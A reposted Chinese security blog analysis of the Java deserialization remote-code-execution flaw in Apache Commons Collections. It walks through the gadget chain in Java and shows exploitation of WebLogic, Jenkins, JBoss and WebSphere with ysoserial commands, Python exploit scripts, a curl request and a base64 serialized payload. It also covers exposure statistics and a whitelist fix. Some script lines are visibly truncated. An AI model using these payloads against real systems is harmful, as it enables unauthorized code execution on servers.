转http://blog.chaitin.com/
1 背景
2 Java反序列化漏洞简介
3 利用Apache Commons Collections实现远程代码执行
4 漏洞利用实例
4.1 利用过程概述
4.2 WebLogic
4.3 Jenkins
4.4 Jboss
4.5 WebSphere
4.6 其它
5 漏洞影响
6 修复建议
7 参考资料
1 背景
2015
年11月6日,FoxGlove Security安全团队的@breenmachine
发布的一篇博客[3]中介绍了如何利用Java反序列化漏洞,来攻击最新版的WebLogic、WebSphere、JBoss、Jenkins、
OpenNMS这些大名鼎鼎的Java应用,实现远程代码执行。
然
而事实上,博客作者并不是漏洞发现者。博客中提到,早在2015年的1月28号,Gabriel Lawrence (@gebl)和Chris
Frohoff (@frohoff)在AppSecCali上给出了一个报告[5],报告中介绍了Java反序列化漏洞可以利用Apache
Commons
Collections这个常用的Java库来实现任意代码执行,当时并没有引起太大的关注,但是在博主看来,这是2015年最被低估的漏洞。
确
实,Apache Commons
Collections这样的基础库非常多的Java应用都在用,一旦编程人员误用了反序列化这一机制,使得用户输入可以直接被反序列化,就能导致任意代
码执行,这是一个极其严重的问题,博客中提到的WebLogic等存在此问题的应用可能只是冰山一角。
虽
然从@gebl和@frohoff的报告到现在已经过去了将近一年,但是@breenmachine的博客中提到的厂商也依然没有修复,而且国内的技术人
员对这个问题的关注依然较少。为了帮助大家更好的理解它,尽快避免和修复这些问题,本文对此做了一个深入的漏洞原理和利用分析,最后对上面提到的这些受影
响的应用,在全球范围内做一个大概的统计。
2 Java反序列化漏洞简介
序
列化就是把对象转换成字节流,便于保存在内存、文件、数据库中;反序列化即逆过程,由字节流还原成对象。Java中的
ObjectOutputStream类的writeObject()方法可以实现序列化,类ObjectInputStream类的
readObject()方法用于反列化。下面是将字符串对象先进行序列化,存储到本地文件,然后再通过反序列化进行恢复的样例代码:
public static void main(String args[]) throws Exception {
String obj = "hello world!";
// 将序列化对象写入文件object.db中
FileOutputStream fos = new FileOutputStream("object.db");
ObjectOutputStream os = new ObjectOutputStream(fos);
os.writeObject(obj);
os.close();
// 从文件object.db中读取数据
FileInputStream fis = new FileInputStream("object.db");
ObjectInputStream ois = new ObjectInputStream(fis);
// 通过反序列化恢复对象obj
String obj2 = (String)ois.readObject();
ois.close();
}
问题在于,如果Java应用对用户输入,即不可信数据做了反序列化处理,那么攻击者可以通过构造恶意输入,让反序列化产生非预期的对象,非预期的对象在产生过程中就有可能带来任意代码执行。
所以这个问题的根源在于类ObjectInputStream在反序列化时,没有对生成的对象的类型做限制;假若反序列化可以设置Java类型的白名单,那么问题的影响就小了很多。
反序列化问题由来已久,且并非Java语言特有,在其他语言例如PHP和Python中也有相似的问题。@gebl和@frohoff的报告中所指出的并不 是反序列化这个问题,而是一些公用库,例如Apache Commons Collections中实现的一些类可以被反序列化用来实现任意代码执行。WebLogic、WebSphere、JBoss、Jenkins、 OpenNMS这些应用的反序列化漏洞能够得以利用,就是依靠了Apache Commons Collections。这种库的存在极大地提升了反序列化问题的严重程度,可以比作在开启了ASLR地址随机化防御的系统中,出现了一个加载地址固定的 共享库,或者类似twitter上的评论中的比喻:
@breenmachine的博客中将漏洞归咎于Apache Commons Collections这个库,存在一定的误解。
3 利用Apache Commons Collections实现远程代码执行
参考Matthias Kaiser在11月份的报告[1],我们以Apache Commons Collections 3为例,来解释如何构造对象,能够让程序在反序列化,即调用readObject()时,就能直接实现任意代码执行。
Map
类是存储键值对的数据结构,Apache Commons
Collections中实现了类TransformedMap,用来对Map进行某种变换,只要调用decorate()函数,传入key和value
的变换函数Transformer,即可从任意Map对象生成相应的TransformedMap,decorate()函数如下:
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
Transformer是一个接口,其中定义的transform()函数用来将一个对象转换成另一个对象。如下所示:
public interface Transformer {
public Object transform(Object input);
}
当Map中的任意项的Key或者Value被修改,相应的Transformer就会被调用。除此以外,多个Transformer还能串起来,形成ChainedTransformer。
Apache Commons Collections中已经实现了一些常见的Transformer,其中有一个可以通过调用Java的反射机制来调用任意函数,叫做InvokerTransformer,代码如下:
public class InvokerTransformer implements Transformer, Serializable {
...
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
super();
iMethodName = methodName;
iParamTypes = paramTypes;
iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
}
try {
Class cls = input.getClass();
Method method = cls.getMethod(iMethodName, iParamTypes);
return method.invoke(input, iArgs);
} catch (NoSuchMethodException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException ex) {
throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}
}
只 需要传入方法名、参数类型和参数,即可调用任意函数。因此要想任意代码执行,我们可以首先构造一个Map和一个能够执行代码的 ChainedTransformer,以此生成一个TransformedMap,然后想办法去触发Map中的MapEntry产生修改(例如 setValue()函数),即可触发我们构造的Transformer。
测试代码如下:
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {
String.class }, new Object[] {"calc.exe"})};
Transformer transformedChain = new ChainedTransformer(transformers);
Map innerMap = new hashMap();
innerMap.put("value", "value");
map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Map.Entry onlyElement = (Entry) outerMap.entrySet().iterator().next();
onlyElement.setValue("foobar");
}
当 上面的代码运行到setValue()时,就会触发ChainedTransformer中的一系列变换函数:首先通过 ConstantTransformer获得Runtime类,进一步通过反射调用getMethod找到invoke函数,最后再运行命令 calc.exe。
但是目前的构造还需要依赖于触发Map中某一项去调用setValue(),我们需要想办法通过readObject()直接触发。
我们观察到java运行库中有这样一个类AnnotationInvocationHandler,这个类有一个成员变量memberValues是Map类型,如下所示:
class AnnotationInvocationHandler implements InvocationHandler, Serializable {
private final Class<? extends Annotation> type;
private final Map<String, Object> memberValues;
AnnotationInvocationHandler(Class<? extends Annotation> type, Map<String, Object> memberValues) {
this.type = type;
this.memberValues = memberValues;
}
...
更令人惊喜的是,AnnotationInvocationHandler的readObject()函数中对memberValues的每一项调用了setValue()函数,如下所示:
private void readObject(java.io.ObjectInputStream s)
throws java.io.IOException, ClassNotFoundException {
s.defaultReadObject();
// Check to make sure that types have not evolved incompatibly
AnnotationType annotationType = null;
try {
annotationType = AnnotationType.getInstance(type);
} catch(IllegalArgumentException e) {
// Class is no longer an annotation type; all bets are off
return;
}
Map<String, Class<?>> memberTypes = annotationType.memberTypes();
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
String name = memberValue.getKey();
Class<?> memberType = memberTypes.get(name);
if (memberType != null) { // i.e. member still exists
Object value = memberValue.getValue();
if (!(memberType.isInstance(value) ||
value instanceof ExceptionProxy)) {
// 此处触发一些列的Transformer
memberValue.setValue(
new AnnotationTypeMismatchExceptionProxy(
value.getClass() + "[" + value + "]").setMember(
annotationType.members().get(name)));
}
}
}
}
因 此,我们只需要使用前面构造的Map来构造AnnotationInvocationHandler,进行序列化,当触发readObject()反序列 化的时候,就能实现命令执行。另外需要注意的是,想要在调用未包含的package中的构造函数,我们必须通过反射的方式,综合生成任意代码执行的 payload的代码如下:
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec", new Class[] {
String.class }, new Object[] {"calc.exe"})};
Transformer transformedChain = new ChainedTransformer(transformers);
Map innerMap = new hashMap();
innerMap.put("value", "value");
map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
Class cl = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor ctor = cl.getDeclaredConstructor(Class.class, Map.class);
ctor.setAccessible(true);
Object instance = ctor.newInstance(Target.class, outerMap);
File f = new File("payload.bin");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
out.writeObject(instance);
out.flush();
out.close();
}
以上解释了如何通过Apache Commons Collections 3这个库中的代码,来构造序列化对象,使得程序在反序列化时可以立即实现任意代码执行。
我 们可以直接使用工具yoserial[2][5]来生成payload,当中包含了4种通用的payload:Apache Commons Collections 3和4,Groovy,Spring,只要目标应用的Class Path中包含这些库,yoserial生成的payload即可让readObject()实现任意命令执行。
yoserial 当中针对Apache Commons Collections 3的payload也是基于TransformedMap和InvokerTransformer来构造的,而在触发时,并没有采用上文介绍的 AnnotationInvocationHandler,而是使用了java.lang.reflect.Proxy中的相关代码来实现触发。此处不再 做深入分析,有兴趣的读者可以参考yoserial的源码。
4 漏洞利用实例
4.1 利用过程概述
首
先拿到一个Java应用,需要找到一个接受外部输入的序列化对象的接收点,即反序列化漏洞的触发点。我们可以通过审计源码中对反序列化函数的调用(例如
readObject())来寻找,也可以直接通过对应用交互流量进行抓包,查看流量中是否包含java序列化数据来判断,java序列化数据的特征为以
标记(ac ed 00 05)开头。
确定了反序列化输入点后,再考察应用的Class Path中是否包含Apache Commons Collections库(yoserial所支持的其他库亦可),如果是,就可以使用yoserial来生成反序列化的payload,指定库名和想要执行的命令即可:
java -jar ysoserial-0.0.2-SNAPSHOT-all.jar CommonsCollections1 'id >> /tmp/redrain' > payload.out
通过先前找到的传入对象方式进行对象注入,数据中载入payload,触发受影响应用中ObjectInputStream的反序列化操作,随后通过反射调用Runtime.getRunTime.exec即可完成利用。
4.2 WebLogic
参照[3]中的方法,对安装包文件grep受影响的类InvokerTransformer:
root@f45f0209fa11:/opt/OracleHome# grep -R InvokerTransformer ./
Binary file ./oracle_common/modules/com.bea.core.apache.commons.collections.jar matches
接着通过寻找接收外部输入的点,来让我们发送序列化对象。
WebLogic 外部只开了一个7001端口,这个端口接受HTTP,T3,SNMP协议,判断协议类型后再把数据路由到内部正确的位置,通过在server上抓包,发现 走T3协议时携带了java序列化对象,所以我们只用把这个包文从序列化开始的标记(ac ed 00 05)后加入payload,重放这个数据,完成利用。
以下是breenmachine的完整利用脚本:
#!/usr/bin/python
import socket
import sys
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (sys.argv[], int(sys.argv[]))
print 'connecting to %s port %s' % server_address
sock.connect(server_address)
# Send headers
headers='t3 12.2.1\nAS:255\nHL:19\nMS:10000000\nPU:t3://us-l-breens:7001\n\n'
print 'sending "%s"' % headers
sock.sendall(headers)
data = sock.recv()
print >>sys.stderr, 'received "%s"' % data
payloadObj = open(sys.argv[],'rb').read()
payload=''
print 'sending payload...'
'''outf = open('payload.tmp','w')
outf.write(payload)
outf.close()'''
sock.send(payload)
在weblogic的利用中,有个小坑是不能破坏原始T3协议数据中包装的java对象。
4.3 Jenkins
Jenkins是一个非常流行的CI工具,在很多企业的内网中都部署了这个系统,这个系统常常和企业的代码相关联,这次也受到了Java反序列化漏洞的影响,非常危险。
同样,通过grep受影响的类InvokerTransformer
root@f45f0209fa11:/usr/share/jenkins# grep -R "InvokerTransformer" ./
Binary file ./webapps/ROOT/WEB-INF/lib/commons-collections-3.2..jar matches
在开放的端口上抓包,定位到Jeenkins的CLI包文中的序列化开始标记(rO0)。 在发送CLI的第一个包文后:
6f 6f 6f 6c 3a 4c 2d ..Protoc ol:CLI-c
6f 6e 6e onnect
在标记位的地方将base64处理过的payload修改覆盖原始包文中的序列化对象,发包后,完成利用。这里给出一个演示视频:
视频可看这边：https://asciinema.org/a/5p549p8yo0lqtycx77akpveid
以下是@breenmachine的完整利用脚本:
#!/usr/bin/python
#usage: ./jenkins.py host port /path/to/payload
import socket
import sys
import requests
import base64
host = sys.argv[]
port = sys.argv[]
#Query Jenkins over HTTP to find what port the CLI listener is on
r = requests.get('http://'+host+':'+port)
cli_port = int(r.headers['X-Jenkins-CLI-Port'])
#Open a socket to the CLI port
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (host, cli_port)
print 'connecting to %s port %s' % server_address
sock.connect(server_address)
# Send headers
headers='\x00\x14\x50\x72\x6f\x74\x6f\x63\x6f\x6c\x3a\x43\x4c\x49\x2d\x63\x6f\x6e\x6e\x65\x63\x74'
print 'sending "%s"' % headers
sock.send(headers)
data = sock.recv()
print >>sys.stderr, 'received "%s"' % data
data = sock.recv()
print >>sys.stderr, 'received "%s"' % data
payloadObj = open(sys.argv[],'rb').read()
payload_b64 = base64.b64encode(payloadObj)
payload=''
print 'sending payload...'
'''outf = open('payload.tmp','w')
outf.write(payload)
outf.close()'''
sock.send(payload)
4.4 Jboss
Jboss受影响的情况就比之前Jenkins逊色不少,正如之前所说,要成功利用必须要找到程序接受外部输入的点,而此处的利用需要/invoker/jmx的支持,大部分情况下的实际场景,jboss都删除了jmx,所以让此处的利用大打折扣。
分析流程和之前一样,只不过此处接受的点在jmx上,所以通过的协议也和前两个不同,是HTTP协议,不再赘述,详细的jboss分析可以参看Exploit – JBoss。
利用如下:
curl --header 'Content-Type: application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue' --data-binary '@/tmp/payload.out' http://172.17.0.2:8080/invoker/JMXInvokerServlet
也可以看breenmachine给出的http请求报文:
POST /invoker/JMXInvokerServlet HTTP/1.1
Host: 172.17.0.2:
Content-Type:application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue
Content-Length:
payload
image
4.5 WebSphere
WebSphere的利用相比较之前几个case就非常粗暴简单了,可惜的是很少会暴露在公网。
找到受影响的lib的位置。
root@f45f0209fa11:/opt/server/IBM# find . -iname "*commons*collection*"
./WebSphere/AppServer/optionalLibraries/Apache/Struts/1.1/commons-collections.jar
./WebSphere/AppServer/optionalLibraries/Apache/Struts/1.2./commons-collections.jar
./WebSphere/AppServer/plugins/com.ibm.ws.prereq.commons-collections.jar
./WebSphere/AppServer/systemApps/LongRunningScheduler.ear/JobManagementWeb.war/WEB-INF/lib/commons-collections.jar
./WebSphere/AppServer/systemApps/isclite.ear/commons-collections.jar
./WebSphere/AppServer/deploytool/itp/plugins/com.ibm.websphere.v85_2.0.0.v20120621_2102/wasJars/com.ibm.ws.prereq.commons-collections.jar
查 看端口开放情况后发现WebSphere默认起了10个端口监听所有接口,通过burp suite看到在请求websphere默认端口8880上有一个POST的请求,body中带有base64处理后的java序列化对象,同样的,标记 位置仍然是"rO0",我们将生成的payload做base64处理后覆盖之前的序列化对象即可利用。
POST / HTTP/1.0
Host: 127.0.0.1:
Content-Type: text/xml; charset=utf-
Content-Length:
SOAPAction: "urn:AdminService"
<?xml version='1.0' encoding='UTF-8'?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<SOAP-ENV:Header xmlns:ns0="admin" ns0:WASRemoteRuntimeVersion="8.5.5.1" ns0:JMXMessageVersion="1.2.0" ns0:SecurityEnabled="true" ns0:JMXVersion="1.2.0">
<LoginMethod>BasicAuth</LoginMethod>
</SOAP-ENV:Header>
<SOAP-ENV:Body>
<ns1:getAttribute xmlns:ns1="urn:AdminService" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<objectname xsi:type="ns1:javax.management.ObjectName">rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcQB+AABzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAVzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AHgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+AB5zcQB+ABZ1cQB+ABsAAAACcHVxAH4AGwAAAAB0AAZpbnZva2V1cQB+AB4AAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAbc3EAfgAWdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAEHRvdWNoIC90bXAvcHduZWR0AARleGVjdXEAfgAeAAAAAXEAfgAjc3EAfgARc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAFzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHh4dnIAEmphdmEubGFuZy5PdmVycmlkZQAAAAAAAAAAAAAAeHBxAH4AOg==</objectname>
<attribute xsi:type="xsd:string">ringBufferSize</attribute>
</ns1:getAttribute>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>
4.6 其它
因 为这个安全问题的根源在于ObjectInputStream处理反序列化时接受外部输入,而又由于其他类似InvokerTransformer的类的 构造函数被调用,从而造成执行,而InvokerTransformer方便的提供了根据外部输入类名函数名反射执行的作用,所以造成整个程序RCE。
所 以该问题并不是像其他一些语言unserialize函数本身存在漏洞,而是在应用本身实现的方式上存在缺陷,导致应用受到RCE的影响,开个脑洞引申一 下,可以很明了的发现,远远不止breenmachine所指出的这几个流行web server,更可能影响更多使用了commons-collections,并且触发ObjectInputStream反序列化操作的应用,如一些 java开发的CMS,中间件等等,甚至不仅仅是PC端,移动端如Android的很多app都可能受到该问题影响。
5 漏洞影响
通过简单的全网分析和POC验证。
Jenkins收到该漏洞影响较大,在自测中,全球暴露在公网的11059台均受到该问题影响,zoomeye的公开数据中再测试后有12493受到该漏洞影响,shadon的公开数据中16368台jenkins暴露公网可能受到影响(未复测shadon数据)。
Weblogic
因为公开到公网的数据较少,所以受影响面也稍微少一些,在自测中,全球486台均受到该问题影响,zoomeye的公开数据中再测试后有201台收到该漏
洞影响,shadon的公开数据中806 台weblogic可能受到影响(未复测shadon数据)。
Jboss
因为需要/invoker/JMXInvokerServlet的支持,所以受影响面稍小(但我们并未具体检测jboss中没有删除/invoker
/JMXInvokerServlet的数据),在自测中,全球29194台jboss暴露在公网,但由于大部分jboss都删除了jmx,所以真正受到
影响的覆盖面并不广,zoomeye的公开数据中有7770台jboss暴露在公网,shadon的公开数据中46317台jboss暴露在公网。
WebSphere在自测中,全球暴露在公网的2076台均受到该问题影响,zoomeye的公开数据中再测试后仍有4511台websphere受到影响,shadon的公开数据中5537 台websphere可能受到影响(未复测shadon数据)。
在本次全网分析中,感谢ztz@nsfocus的seer提供的部分数据
6 修复建议
因
为受影响的多家厂商在今年1月拿到POC至今都没有对该问题做任何修复,所以短期内并不会有官方补丁放出,如果很重视这个安全问题并且想要有一个临时的解
决方案可以参考NibbleSecurity公司的ikkisoft在github上放出了一个临时补丁SerialKiller。
下
载这个jar后放置于classpath,将应用代码中的java.io.ObjectInputStream替换为SerialKiller,之后配置
让其能够允许或禁用一些存在问题的类,SerialKiller有Hot-Reload,Whitelisting,Blacklisting几个特性,
控制了外部输入反序列化后的可信类型。
lib地址:https://github.com/ikkisoft/SerialKiller
7 参考资料
Matthias Kaiser - Exploiting Deserialization Vulnerabilities in Java.
https://github.com/frohoff/ysoserial
foxglovesecurity analysis
github JavaUnserializeExploits
appseccali-2015-marshalling-pickles